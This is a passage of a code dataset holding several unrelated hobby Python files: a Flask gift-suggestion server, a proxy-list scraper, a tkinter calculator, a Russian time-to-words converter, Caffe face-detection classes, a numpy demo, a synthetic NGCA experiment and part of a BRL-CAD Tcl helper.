\"gift\":like.answer.gift.gift_name\n })\n\n return jsonify({\"success\": True, \n \"user\":{\"username\": username, \"email\": email, \"gender\": gender, \n \"age\":age, \"hobbies\": hobbies, \"questions\": questions, \n \"answers\": answers, \"likes\": likes}})\n \n\n@app.route(\"/ask\")\ndef react():\n\n return render_template(\"questions.html\")\n\n@app.route(\"/search\")\ndef search_react():\n\n return render_template(\"search_results.html\")\n\n@app.route(\"/questions\", methods=['POST'])\ndef add_new_question():\n logged_in_email = session.get(\"user_email\")\n gender = request.get_json().get('gender')\n age = request.get_json().get('age')\n price = int(request.get_json().get('price'))\n hobby_name = request.get_json().get('hobby')\n\n if logged_in_email is None:\n \n return jsonify({\"success\": False, \"message\":\"Please log in to ask a question.\"})\n \n else:\n user = crud.get_user_by_email(logged_in_email)\n question_type = True\n new_question = crud.create_question(user,gender,age,price,hobby_name,question_type)\n status = new_question[1]\n if status == True:\n db.session.add(new_question[0])\n db.session.commit()\n\n return jsonify({\"success\": True, \"status\": status,\n \"questionAdded\": new_question[0].to_dict()})\n \n@app.route(\"/questions\")\ndef get_all_questions_answers():\n questions = []\n for question in Question.query.all():\n questions.append(question.to_dict())\n\n return jsonify({\"success\": True, \"questions\": questions})\n\n@app.route(\"/answers\", methods=['POST'])\ndef add_new_answer():\n logged_in_email = session.get(\"user_email\")\n gift_name_input = request.get_json().get('answer')\n question_id = request.get_json().get('questionId')\n gift_name = gift_name_input.title()\n \n if logged_in_email is None:\n return jsonify({\"success\": False, \"message\":\"Please log in to answer a question.\"})\n\n else:\n user = crud.get_user_by_email(logged_in_email)\n new_answer = crud.create_answer(user,gift_name,question_id)\n\n db.session.add(new_answer)\n db.session.commit()\n\n return jsonify({\"success\": True, \"answerAdded\": new_answer.answer_id})\n\n@app.route(\"/likes\", methods=['POST'])\ndef add_new_like():\n logged_in_email = session.get(\"user_email\")\n answer_id = request.get_json().get('answerId')\n \n if logged_in_email is None:\n return jsonify({\"success\": False, \"message\":\"Please log in to like an answer.\"})\n \n else:\n user = crud.get_user_by_email(logged_in_email)\n new_like = crud.create_like(user,answer_id)\n\n if new_like == False:\n return jsonify({\"success\": True, \"history\": True})\n else:\n db.session.add(new_like)\n db.session.commit()\n\n return jsonify({\"success\": True, \"likeNum\": new_like.answer.num_likes})\n\n@app.route(\"/likes\", methods=['GET'])\ndef like():\n logged_in_email = session.get(\"user_email\")\n answer_id = request.args.get('answerId')\n if logged_in_email is None:\n return jsonify({\"success\": False})\n \n else:\n user = crud.get_user_by_email(logged_in_email)\n like_info = crud.get_likeinfo_by_user_answer(user,answer_id)\n\n return jsonify({\"success\": True, \"history\": like_info})\n\nAPI_KEY = os.environ['AMAZON_KEY']\nURL = \"https://amazon-products1.p.rapidapi.com/search\"\n\nHEADERS = {\n\t\"X-RapidAPI-Key\": API_KEY,\n\t\"X-RapidAPI-Host\": \"amazon-products1.p.rapidapi.com\"\n}\n\n@app.route(\"/search\", methods=['POST'])\ndef search():\n # filter_results = [{\n # \"id\": 1,\n # \"title\": \"Learnabee Toys for 2 Year Old Boys/Girls\",\n # \"image\" : \"https://m.media-amazon.com/images/I/71INgaJBopS._AC_UL320_.jpg\",\n # \"full_link\" : \"https://www.amazon.com/dp/B0995PKH6Q/?psc=1\",\n # \"price\" : 28.99,\n # },\n # {\n # \"id\": 2,\n # \"title\": \"Love&Mini Piano Toy Keyboard for Kids Birthday Gift\",\n # \"image\" : \"https://m.media-amazon.com/images/I/71GvA+dZluS._AC_UL320_.jpg\",\n # \"full_link\" : \"https://www.amazon.com/dp/B01IOFPJAS/?psc=1\",\n # \"price\" : 25.86,\n # },{\n # \"id\": 3,\n # \"title\": \"Learnabee Toys for 2 Year Old Boys/Girls\",\n # \"image\" : \"https://m.media-amazon.com/images/I/71INgaJBopS._AC_UL320_.jpg\",\n # \"full_link\" : \"https://www.amazon.com/dp/B0995PKH6Q/?psc=1\",\n # \"price\" : 28.99,\n # },\n # {\n # \"id\":4,\n # \"title\": \"Love&Mini Piano Toy Keyboard for Kids Birthday Gift\",\n # \"image\" : \"https://m.media-amazon.com/images/I/71GvA+dZluS._AC_UL320_.jpg\",\n # \"full_link\" : \"https://www.amazon.com/dp/B01IOFPJAS/?psc=1\",\n # \"price\" : 25.86,\n # }]\n gender = request.get_json().get('gender')\n age = request.get_json().get('age')\n price = int(request.get_json().get('price'))\n hobby_name = request.get_json().get('hobby')\n\n querystring = {\"country\":\"US\",\"query\":f\"gift+{gender}+{age}+year+old+{hobby_name}\"}\n response = requests.request(\"GET\", URL, headers=HEADERS, params=querystring).json()\n results = response['results'] \n filter_results = []\n\n id=0\n for result in results:\n if result[\"prices\"][\"current_price\"] <= price:\n id += 1\n filter_results.append({\n \"id\": id,\n \"title\": result[\"title\"],\n \"image\" : result[\"image\"],\n \"full_link\" : result[\"full_link\"],\n \"price\" : result[\"prices\"][\"current_price\"]\n })\n\n return jsonify({\"success\": True, \"searchResults\": filter_results})\n\nif __name__ == \"__main__\":\n connect_to_db(app)\n app.run(host=\"0.0.0.0\",port=port)\n","repo_name":"kellylikeyu/giftidea","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":9337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"43022962267","text":"import requests\nfrom bs4 import BeautifulSoup\n\nsession = requests.session()\n\nURL = \"https://hidemy.name/ru/proxy-list/\"\nHEADERS = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/101.0.4951.64',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'\n}\nPARAMS = {'type':'h', 'start': '0'}\n\ndef get_rows(URL, headers, params):\n res = session.get(URL, headers=HEADERS, params=params)\n soup = BeautifulSoup(res.text, 'html.parser')\n rows = soup.find_all('tr')\n return rows\n\ndef get_page(rows):\n proxies_page = ''\n for row in rows:\n ip_addr = row.find_all('td')[0].text\n port = row.find_all('td')[1].text\n proxy = f'{ip_addr}:{port}'\n if(proxy != 'IP адрес:Порт'):\n proxies_page += f\"{proxy}\\n\"\n return proxies_page\n\npages = 10\nproxy_list = '' \nfor i in range(pages):\n print(f\"Get the {i+1} page of {pages}\")\n params = {'type':'h', 'start': f\"{(i)*64}#list\"}\n page = get_rows(URL, HEADERS, params)\n # proxy_list += f\"___ PAGE {i} ____\\n\"\n proxy_list += get_page(page) \n\nwith open('proxy.txt', 'w', encoding='utf-8') as f:\n f.write(proxy_list)","repo_name":"Waldo33/proxy-parser","sub_path":"proxy-parser.py","file_name":"proxy-parser.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"3690809843","text":"from tkinter import *\nfrom tkinter.messagebox import *\n\n# variables\nfont = ('Blinkstar', 30, 'bold')\n\n\n# functions\ndef clear(event):\n ex = text_field.get()\n ex = ex[0:len(ex)-1]\n text_field.delete(0, END)\n text_field.insert(0, ex)\n\n\ndef all_clear(event):\n text_field.delete(0, END)\n\n\ndef click_btn_function(event):\n print('button-clicked')\n b = event.widget\n text = b['text']\n print(text)\n\n if text == '=':\n try:\n exp = text_field.get()\n ans = eval(exp)\n text_field.delete(0, END)\n text_field.insert(0, ans)\n except Exception as e:\n print(\"Error...\", e)\n showerror(\"Error\", e)\n return\n\n text_field.insert(END, text)\n\n\nwindow = Tk()\nwindow.title(\"Calculator\")\nwindow.geometry('600x700')\n\n# Image label\npic = PhotoImage(file='images/cal2.png')\nimage_label = Label(window, image=pic)\nimage_label.pack(side=TOP, pady=15)\n\n# Heading label\nheading_label = Label(window, text='Calculator', font=font)\nheading_label.pack(side=TOP, pady=5)\n\n# text field\ntext_field = Entry(window, font=font, justify=CENTER)\ntext_field.pack(side=TOP, pady=20, fill=X, padx=10)\n\n# buttons\nbutton_frame = Frame(window)\nbutton_frame.pack(side=TOP, pady=5)\n\n# adding buttons\ntemp = 1\nfor i in range(0, 3):\n for j in range(0, 3):\n btn = Button(button_frame, text=str(temp), font=font, width=5, relief='ridge', activebackground='orange',\n activeforeground='white')\n btn.grid(row=i, column=j, padx=1, pady=1)\n temp += 1\n btn.bind('', click_btn_function)\n\nzero_btn = Button(button_frame, text=str(0), font=font, width=5, relief='ridge', activebackground='orange',\n activeforeground='white')\nzero_btn.grid(row=3, column=1, padx=1, pady=1)\nzero_btn.bind('', click_btn_function)\n\ndot_btn = Button(button_frame, text='.', font=font, width=5, relief='ridge', activebackground='orange',\n activeforeground='white')\ndot_btn.grid(row=3, column=0, padx=1, pady=1)\ndot_btn.bind('', click_btn_function)\n\nequal_btn = Button(button_frame, text='=', font=font, width=5, relief='ridge', activebackground='orange',\n activeforeground='white')\nequal_btn.grid(row=3, column=2, padx=1, pady=1)\nequal_btn.bind('', click_btn_function)\n\nplus_btn = Button(button_frame, text='+', font=font, width=5, relief='ridge', activebackground='orange',\n activeforeground='white')\nplus_btn.grid(row=0, column=3, padx=1, pady=1)\nplus_btn.bind('', click_btn_function)\n\nminus_btn = Button(button_frame, text='-', font=font, width=5, relief='ridge', activebackground='orange',\n activeforeground='white')\nminus_btn.grid(row=1, column=3, padx=1, pady=1)\nminus_btn.bind('', click_btn_function)\n\nmul_btn = Button(button_frame, text='*', font=font, width=5, relief='ridge', activebackground='orange',\n activeforeground='white')\nmul_btn.grid(row=2, column=3, padx=1, pady=1)\nmul_btn.bind('', click_btn_function)\n\ndiv_btn = Button(button_frame, text='/', font=font, width=5, relief='ridge', activebackground='orange',\n activeforeground='white')\ndiv_btn.grid(row=3, column=3, padx=1, pady=1)\ndiv_btn.bind('', click_btn_function)\n\nclear_btn = Button(button_frame, text='<--', font=font, width=11, relief='ridge', activebackground='orange',\n activeforeground='white')\nclear_btn.grid(row=4, column=0, padx=1, pady=1, columnspan=2)\nclear_btn.bind('', clear)\n\nallclear_btn = Button(button_frame, text='AC', font=font, width=11, relief='ridge', activebackground='orange',\n activeforeground='white')\nallclear_btn.grid(row=4, column=2, padx=1, pady=1, columnspan=2)\nallclear_btn.bind('', all_clear)\n\nwindow.mainloop()\n","repo_name":"Susheel99/Python-Projects","sub_path":"calculator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32145054019","text":"from datetime import datetime\n\nHOURS = [['один', 'первого', 'час'], ['два', 'второго', 'часа'],\n ['три', 'третьего', 'часа'], ['четыре', 'четвертого', 'часа'],\n ['пять', 'пятого', 'часов'], ['шесть', 'шестого', 'часов'],\n ['семь', 'седьмого', 'часов'], ['восемь', 'восьмого', 'часов'],\n ['девять', 'девятого', 'часов'], ['десять', 'десятого', 'часов'],\n ['одиннадцать', 'одиннадцатого', 'часов'],\n ['двенадцать', 'двенадцатого', 'часов']]\n\nMINUTES = {\n 1: ['одна', 'одной', 'минута', 'минуты'],\n 2: ['две', 'двух', 'минуты', 'минут'],\n 3: ['три', 'трех', 'минуты', 'минут'],\n 4: ['четыре', 'четырех', 'минуты', 'минут'],\n 5: ['пять', 'пяти', 'минут', 'минут'],\n 6: ['шесть', 'шести', 'минут', 'минут'],\n 7: ['семь', 'семи', 'минут', 'минут'],\n 8: ['восемь', 'восьми', 'минут', 'минут'],\n 9: ['девять', 'девяти', 'минут', 'минут'],\n 10: ['десять', 'десяти', 'минут', 'минут'],\n 11: ['одиннадцать', 'одиннадцати', 'минут', 'минут'],\n 12: ['двенадцать', 'двенадцати', 'минут', 'минут'],\n 13: ['тринадцать', 'тринадцати', 'минут', 'минут'],\n 14: ['четырнадцать', 'четырнадцати', 'минут', 'минут'],\n 15: ['пятнадцать', 'пятнадцати', 'минут', 'минут'],\n 16: ['шестнадцать', 'шестнадцати', 'минут', 'минут'],\n 17: ['семнадцать', 'семнадцати', 'минут', 'минут'],\n 18: ['восемнадцать', 'восемнадцати', 'минут', 'минут'],\n 19: ['девятнадцать', 'девятнадцати', 'минут', 'минут'],\n 20: ['двадцать', 'двадцати', 'минут', 'минут'],\n 30: ['тридцать', 'тридцати', 'минут', 'минут'],\n 40: ['сорок', 'сорока', 'минут', 'минут'],\n}\n\n\ndef input_time() -> datetime:\n \"\"\"Reads user input and returns time as datetime object.\n\n Input time in format: HH:MM or empty string to get current time.\n\n Returns:\n datetime: datetime object\n \"\"\"\n while True:\n\n try:\n user_time = input('Enter time as HH:MM\\n')\n if user_time == '':\n user_time = datetime.now()\n break\n user_time = datetime.strptime(user_time, '%H:%M')\n break\n\n except ValueError as error:\n print(f'Invalid time format: {error}')\n\n return user_time\n\n\ndef time_to_text(time: datetime) -> str:\n \"\"\"Represents datetime object as words in Russian\n and returns time in text format.\n\n Args:\n time (datetime): datetime object to convert\n\n Returns:\n str: string with time as words\n \"\"\"\n text_time = time.strftime(\"%H:%M\")\n\n if time.hour >= 12:\n h = time.hour - 12\n else:\n h = time.hour\n m = time.minute\n\n if m == 0:\n text = f\"{text_time} - {HOURS[h-1][0]} \" \\\n f\"{HOURS[h-1][2]} ровно\"\n elif m <= 20:\n text = f\"{text_time} - {MINUTES[m][0]} \" \\\n f\"{MINUTES[m][2]} {HOURS[h][1]}\"\n elif m == 30:\n text = f\"{text_time} - половина {HOURS[h][1]}\"\n elif m >= 45:\n text = f\"{text_time} - без {MINUTES[60-m][1]} \" \\\n f\"{MINUTES[60-m][3]} {HOURS[h][0]}\"\n else:\n if not m % 10:\n text = f\"{text_time} - {MINUTES[m][0]} \" \\\n f\"{MINUTES[m][2]} {HOURS[h][1]}\"\n else:\n text = f\"{text_time} - {MINUTES[(m // 10)*10][0]} \" \\\n f\"{MINUTES[m % 10][0]} {MINUTES[m % 10][2]} {HOURS[h][1]}\"\n\n return text\n\n\nif __name__ == '__main__':\n print(time_to_text(input_time()))\n","repo_name":"MikitaTsiarentsyeu/Md-PT1-48-22","sub_path":"Tasks/Kashko/task_02/task_02.py","file_name":"task_02.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"16128006016","text":"import sys\nimport numpy as np\nimport os\nimport cv2\nimport time\nimport argparse\nimport caffe\nfrom caffe.proto import caffe_pb2\nfrom google.protobuf import text_format\n\nimport mtcnn\n\nclass FaceDetection:\n def __init__(self, gpu_id, model_def, model_weights, image_resize):\n caffe.set_device(gpu_id)\n caffe.set_mode_gpu()\n PNet = caffe.Net(caffe_model_path+\"/det1.prototxt\", caffe_model_path+\"/det1.caffemodel\", caffe.TEST)\n RNet = caffe.Net(caffe_model_path+\"/det2.prototxt\", caffe_model_path+\"/det2.caffemodel\", caffe.TEST)\n ONet = caffe.Net(caffe_model_path+\"/det3.prototxt\", caffe_model_path+\"/det3.caffemodel\", caffe.TEST)\n\n def detect(self, image):\n img = image.copy()\n img_rgb = cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\n boundingboxes, points = detect_face(img_rgb, minsize, PNet, RNet, ONet, threshold, False, factor)\n\n return boundingboxes, points\n\n\n\nclass Classification:\n def __init__(self, gpu_id, model_def, model_weights, image_resize):\n caffe.set_device(gpu_id)\n caffe.set_mode_gpu()\n\n self.image_resize = image_resize\n # Load the net in the test phase for inference, and configure input preprocessing.\n self.net = caffe.Net(model_def, # defines the structure of the model\n model_weights, # contains the trained weights\n caffe.TEST) # use test mode (e.g., don't perform dropout)\n # input preprocessing: 'data' is the name of the input blob == net.inputs[0]\n self.transformer = caffe.io.Transformer({'data': self.net.blobs['data'].data.shape})\n self.transformer.set_transpose('data', (2, 0, 1)) # h w c to c h w\n self.transformer.set_mean('data', np.array([127.5, 127.5, 127.5])) # mean pixel\n # the reference model operates on images in [0,255] range instead of [0,1]\n #self.transformer.set_raw_scale('data', 255)\n # the reference model has channels in BGR order instead of RGB\n #self.transformer.set_channel_swap('data', (2, 1, 0))\n self.transformer.set_input_scale('data', 0.0078125)\n\n def detect(self, image):\n '''\n classification\n '''\n # set net to batch size of 1\n # image_resize = 300\n #image=cv2.cvtColor(image,cv2.COLOR_BGR2RGB)\n #image=image/255\n\n self.net.blobs['data'].reshape(1, 3, self.image_resize, self.image_resize)\n #image = caffe.io.load_image(image_file)\n\n #Run the net and examine the top_k results\n transformed_image = self.transformer.preprocess('data', image)\n self.net.blobs['data'].data[...] = transformed_image\n\n # Forward pass.\n start = time.time()\n result = self.net.forward()['prob'] #result = self.net.forward()['fc7']\n print('Time consuming: ' + str(time.time()-start))\n\n return result\n","repo_name":"kenh1991/Data_process","sub_path":"test/caffe_test/cls.py","file_name":"cls.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"467772732","text":"import logging\nimport logging.config\nlogging.config.fileConfig('queryLogging.conf')\nlogger = logging.getLogger('ProcessImage')\n\nimport Helpers\nimport SysCall\nimport sys\nimport os\n\n\n\ndef process_image(imageName, lcImageName, queryString, dir):\n try:\n Helpers.removeMatLabProcessImageOutputFile()\n directory = Helpers.getImageOutputLoc() + dir\n\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n matLabProcessImageScr=Helpers.getMatLabProcessImageScript()\n logger.info('Start Query')\n out,err,retCd = SysCall.sh([matLabProcessImageScr, '\"'+imageName+'\"', '\"'+lcImageName+'\"', queryString, '\"'+directory+'\"', 'false', os.path.basename(Helpers.getMatLabProcessImageOutputFile())])\n logger.info('End ')\n\n return {\"ProcesImage\": \"Success\" }\n except:\n logger.exception('Error Processing Image.')\n #raise","repo_name":"dbk138/ImageRegionRecognition-FrontEnd","sub_path":"app/python/ProcessImage.py","file_name":"ProcessImage.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12136573168","text":"'''\nCopy:\nA copy of an array is a completely separate object with its own data.\nModifying a copy does not affect the original array.\nCopies are created explicitly using functions like np.copy() or by slicing an array with the copy() method.\n\nView:\nA view of an array is a new array that refers to the same data in memory as the original array. It is essentially a \"window\" into the data.\nModifications made to a view affect the original array.\nViews are created implicitly by slicing or selecting elements from an array.\n'''\n\nimport numpy as np\n\noriginal_array = np.array([1, 2, 3, 4, 5])\ncopied_array = np.copy(original_array)\ncopied_array[0] = 99\n\nprint(original_array) # Output: [1 2 3 4 5]\nprint(copied_array) # Output: [99 2 3 4 5]\nview_array = original_array[1:4]\nview_array[0] = 99\n\nprint(view_array) # Output: [99 3 4]","repo_name":"zonaetmunna/PROGAMMING-IN-PYTHON","sub_path":"PycharmProjects/numpy/Copy_and_View.py","file_name":"Copy_and_View.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"2564625039","text":"from ngca_algorithm import run as run_ngca_algorithm\nimport numpy as np\nimport utilities\nimport matplotlib\nfrom matplotlib import pyplot as plt\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\n\n\ndef generate_synthetic_samples(number_of_samples, n, k, m, type_of_requested_subspace):\n\n samples = np.empty((n, 0), float)\n samples_copy = np.empty((n, 0), float)\n\n B = np.random.rand(n, n)\n Q, _ = np.linalg.qr(B)\n Q_E = Q[:, 0:k]\n Q_E_orth = Q[:, k:]\n\n # Gaussian subspace to sample - projection of Q_E_orth\n G_initial = np.random.randn(n-k, m)\n G_to_sample = np.dot(Q_E_orth, G_initial)\n\n # subspace to sample - projection of Q_E\n if type_of_requested_subspace == 'gaussian':\n G_X_initial = np.random.randn(k, m)\n X_to_sample = np.dot(Q_E, G_X_initial)\n elif type_of_requested_subspace == 'sub_gaussian':\n U_X_initial = 2 * np.random.rand(k, m) - 1\n X_to_sample = np.dot(Q_E, U_X_initial)\n # elif type_of_requested_subspace == 'super_gaussian':\n # # TODO implement\n # X_to_sample = []\n else:\n raise ValueError('unsupported type of requested subspace', type_of_requested_subspace)\n\n # TODO - check on which type of vector do we project G_to_sample and on which do we project X_to_sample\n # samples generated as direct sum of range(G_to_sample) and range(X_to_sample)\n for _ in range(number_of_samples):\n sample = np.dot(G_to_sample, np.random.randn(m, 1)) + np.dot(X_to_sample, (np.random.randn(m, 1)))\n samples = np.append(samples, sample, axis=1)\n\n for _ in range(number_of_samples):\n sample_copy = np.dot(G_to_sample, np.random.randn(m, 1)) + np.dot(X_to_sample, (np.random.randn(m, 1)))\n samples_copy = np.append(samples_copy, sample_copy, axis=1)\n\n return samples.T, samples_copy.T, Q_E\n\n\ndef plot_2d_data(data, synthetic_subspace, approx_ng_subspace, params, type_of_requested_subspace):\n\n\n pca_data = get_PCA_data_for_plot(data)\n # Project samples on the result NG subspace\n proj_data_on_result_subspace = np.dot(data, approx_ng_subspace)\n # Project samples on the known synthetic NG subspace\n proj_data_on_synthetic_subspace = np.dot(data, synthetic_subspace)\n\n f = plt.figure()\n f, axes = plt.subplots(ncols=3)\n sc = axes[0].scatter(pca_data[:, 0], pca_data[:, 1], c='green', alpha=0.5)\n axes[0].set_xlabel('PCA initial data', labelpad=5)\n\n axes[1].scatter(proj_data_on_synthetic_subspace[:, 0], proj_data_on_synthetic_subspace[:, 1], c='blue', alpha=0.5)\n axes[1].set_xlabel('Projected data on \\nknown NG subspace', labelpad=5)\n\n axes[2].scatter(proj_data_on_result_subspace[:, 0], proj_data_on_result_subspace[:, 1], c='red', alpha=0.5)\n axes[2].set_xlabel('Projected data on \\nresult NG subspace', labelpad=5)\n\n plt.savefig('results/synthetic_data/synthetic_data_2D_{}_{}.png'.format(type_of_requested_subspace, utilities.algorithm_params_to_print(params)))\n\n\ndef get_PCA_data_for_plot(data):\n data = StandardScaler().fit_transform(data)\n pca = PCA(n_components=2, svd_solver='full')\n principalComponents = pca.fit_transform(data)\n return principalComponents\n\n\ndef main():\n\n m = 5\n n = 10 # dimension - number of features\n k = 3 # NG subspace dimension\n number_of_samples = 2000 # number of samples\n type_of_requested_subspace = 'sub_gaussian' # sub_gaussian | gaussian | super_gaussian\n\n algorithm_params = {\n 'alpha1': 0.7,\n 'alpha2': 0.3,\n 'beta1': 0.34,\n 'beta2': 0.64,\n }\n\n samples, samples_copy, Q_E = generate_synthetic_samples(number_of_samples, n, k, m, type_of_requested_subspace)\n\n all_samples = np.concatenate((samples, samples_copy), axis=0) # E is the range of Q_E\n\n approx_ng_subspace = run_ngca_algorithm(samples, samples_copy, algorithm_params)\n\n plot_2d_data(all_samples, Q_E, approx_ng_subspace, algorithm_params, type_of_requested_subspace)\n\n return approx_ng_subspace\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"shanys8/ngca","sub_path":"run_on_synthetic_data.py","file_name":"run_on_synthetic_data.py","file_ext":"py","file_size_in_byte":4034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"36885864288","text":"from point import Point\n\ntest = Point(2,6)\ntest2 = Point(-1,5)\nprint(test)\nprint(test2)\n\ntest3 = test * 3\nprint(test3)\n\norigin = Point(0,0)\ntest4 = Point(5,0)\nprint(test4.distance(origin))","repo_name":"kentruong00/ics4u","sub_path":"object oriented/pointTest.py","file_name":"pointTest.py","file_ext":"py","file_size_in_byte":188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"21539820476","text":"# standard libs\nimport os\nimport re\nimport sys\nimport math\nimport inspect\nimport numbers\nimport datetime\nimport subprocess\nfrom itertools import chain\nfrom abc import ABCMeta\nfrom abc import abstractmethod\nfrom collections import OrderedDict, deque\n\n# external libs\nimport numpy\nfrom PIL import Image\n\n# internal\nfrom . import vmath\nfrom .brlcad_name_tracker import BrlcadNameTracker\n\n\ndef check_cmdline_args(file_path, default_filename=None):\n if not len(sys.argv)==2:\n print('usage:\\n'\\\n ' {} file_name_for_output'.format(file_path))\n if not default_filename:\n sys.exit(1)\n return default_filename\n return sys.argv[1]\n\n\ndef coord_avg(c1, c2):\n return (c1+c2)/2.\n\n\ndef get_box_face_center_coord(corner1, corner2, xyz_desired):\n # each 'bit' can be -1, 0, or 1\n x_bit, y_bit, z_bit = [int(b) for b in xyz_desired]\n # only one non-zero value can be provided\n assert([x_bit!=0, y_bit!=0, z_bit!=0].count(True) == 1)\n out_xyz = [0,0,0]\n away_vect = [0,0,0]\n for i, bit in enumerate([x_bit, y_bit, z_bit]):\n if bit<0:\n out_xyz[i] = min(corner1[i], corner2[i])\n away_vect[i] = -1\n elif bit>0:\n out_xyz[i] = max(corner1[i], corner2[i])\n away_vect[i] = 1\n else:\n out_xyz[i] = min(corner1[i], corner2[i]) + (abs(corner1[i] - corner2[i]) / 2.)\n return out_xyz, away_vect\n\n\ndef is_truple(arg):\n is_numeric_truple = (isinstance(arg, tuple) or isinstance(arg, list)) and all([isinstance(x, numbers.Number) for x in arg])\n assert(is_numeric_truple), arg\n return True\n\n\ndef is_number(arg):\n assert(isinstance(arg, numbers.Number))\n return True\n\n\ndef two_plus_strings(*args):\n assert(len(args)>2)\n assert(all([isinstance(x, str) for x in args]))\n\n\ndef is_string(name):\n assert(isinstance(name, str) or isinstance(name, BrlCadObjectName))\n return True\n\n\ndef union(*args):\n return ' u {}'.format(join_as_str(' u ', args))\n\n\ndef subtract(*args):\n return ' u {}'.format(join_as_str(' - ', args))\n\n\ndef intersect(*args):\n return ' u {}'.format(join_as_str(' + ', args))\n\n\ndef join_as_str(_str, alist):\n s=[]\n for item in alist:\n if isinstance(item, list):\n for i in item:\n print('join_as_str {}'.format(i))\n s.append(str(i).strip('u '))\n print(s[-1])\n else:\n print('join_as_str {}'.format(item))\n s.append(str(item).strip('u '))\n print(s[-1])\n return _str.join(s)\n\n\nclass BrlCadObjectName(object):\n def __init__(self, name):\n self.name = name\n\n def __repr__(self):\n return str(self.name)\n\n def __str__(self):\n return self.__repr__()\n\n def __sub__(self, a):\n return BrlCadObjectName('{} - {}'.format(self, a))\n\n def __add__(self, a):\n return BrlCadObjectName('{} + {}'.format(self, a))\n\n def __mul__(self, a):\n return BrlCadObjectName('{} u {}'.format(self, a))\n\n def strip(self, inp=''):\n return str(self).strip(inp)\n\n\nclass brlcad_tcl():\n def __init__(self, project_filename_prefix, title, make_g=False,\n stl_quality=None, stl_quality_method=None, units='mm', verbose=False):\n #if not os.path.isfile(self.output_filepath):\n # abs_path = os.path.abspath(self.output_filepath)\n # if not\n self.make_g = make_g\n self.project_filename_prefix = project_filename_prefix\n self.g_path = self.project_filename_prefix + '.g'\n\n self.tcl_filepath = project_filename_prefix\n if not self.tcl_filepath.lower().endswith('.tcl'):\n self.tcl_filepath += '.tcl'\n\n self.stl_quality = stl_quality\n self.stl_quality_method = stl_quality_method\n\n\n self.script_string_list = ['title {}\\nunits {}\\n'.format(title, units)]\n self.units = units\n self.name_tracker = BrlcadNameTracker()\n self.verbose = verbose\n\n def _remove_file_extension(self, file_path):\n return os.path.splitext(file_path)[0]\n \n\n def __enter__(self):\n return self\n\n def __exit__(self, type, value, traceback):\n self.save_tcl()\n\n if self.make_g:\n self.save_g()\n \n def add_script_string(self, to_add):\n # In case the user does some adding on their own\n self.script_string_list.append( '\\n' + str(to_add) + '\\n')\n\n def save_tcl(self):\n for line in self.script_string_list:\n if not line.endswith('\\n'):\n raise Exception(\"line ({}) didn't end with a \\\\n\".format(line))\n with open(self.tcl_filepath, 'w') as f:\n f.write(''.join(self.script_string_list))\n\n def _which(self, program):\n def is_exe(fpath):\n return os.path.isfile(fpath) and os.access(fpath, os.X_OK)\n\n fpath, fname = os.path.split(program)\n if fpath:\n if is_exe(program):\n return program\n else:\n for path in os.environ[\"PATH\"].split(os.pathsep):\n path = path.strip('\"')\n exe_file = os.path.join(path, program)\n if is_exe(exe_file):\n return exe_file\n\n def save_g(self):\n # try to remove a database file of the same name if it exists\n try:\n os.remove(self.g_path)\n print('removed {}?: {}'.format(self.g_path, os.path.isfile(self.g_path)))\n except Exception as e:\n if not e.errno == 2:\n print('WARNING: could not remove: {}\\nuse different file name, or delete the file manually first!'.format(self.g_path))\n raise (e)\n \n cmd = 'mged {} < {}'.format(self.g_path, self.tcl_filepath)\n cmd = [self._which('mged'), self.g_path]\n print('running mged with command: {}'.format(cmd))\n #proc = subprocess.Popen(cmd, stdin=subprocess.PIPE)\n\n if self.verbose:\n proc = subprocess.Popen(cmd, shell=False, stdin=subprocess.PIPE)\n else:\n proc = subprocess.Popen(cmd, shell=False, stdin=subprocess.PIPE,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n if sys.version_info >= (3, 0):\n out, err = proc.communicate(str.encode(''.join(self.script_string_list)))\n out = out.decode()\n err = err.decode()\n else:\n out, err = proc.communicate(''.join(self.script_string_list))\n if proc.returncode != 0:\n print('WARNING - MGED returned an error! (output to follow)\\n{}\\n{}'\n .format(out, err))\n #proc.communicate(['opendb {}\\n'.format(self.g_path)] + self.script_string_list)\n #proc.communicate()\n \n def run_and_save_stl(self, objects_to_render):\n # Do all of them in one go\n self.save_tcl()\n self.save_g()\n self.save_stl(objects_to_render)\n\n def save_stl(self, objects_to_render, output_path=None):\n if output_path is None:\n stl_path = self.project_filename_prefix + '.stl'\n else:\n stl_path = output_path if output_path.endswith('.stl') else '{}.stl'.format(output_path)\n if not isinstance(objects_to_render, list):\n objects_to_render = [objects_to_render]\n objects_to_render = [str(o) for o in objects_to_render]\n obj_str = ' '.join(objects_to_render)\n cmd = 'g-stl -o {}'.format(stl_path)\n\n # Add the quality\n \"\"\" from http://sourceforge.net/p/brlcad/support-requests/14/#0ced\n The \"-a\" option specifies an absolute 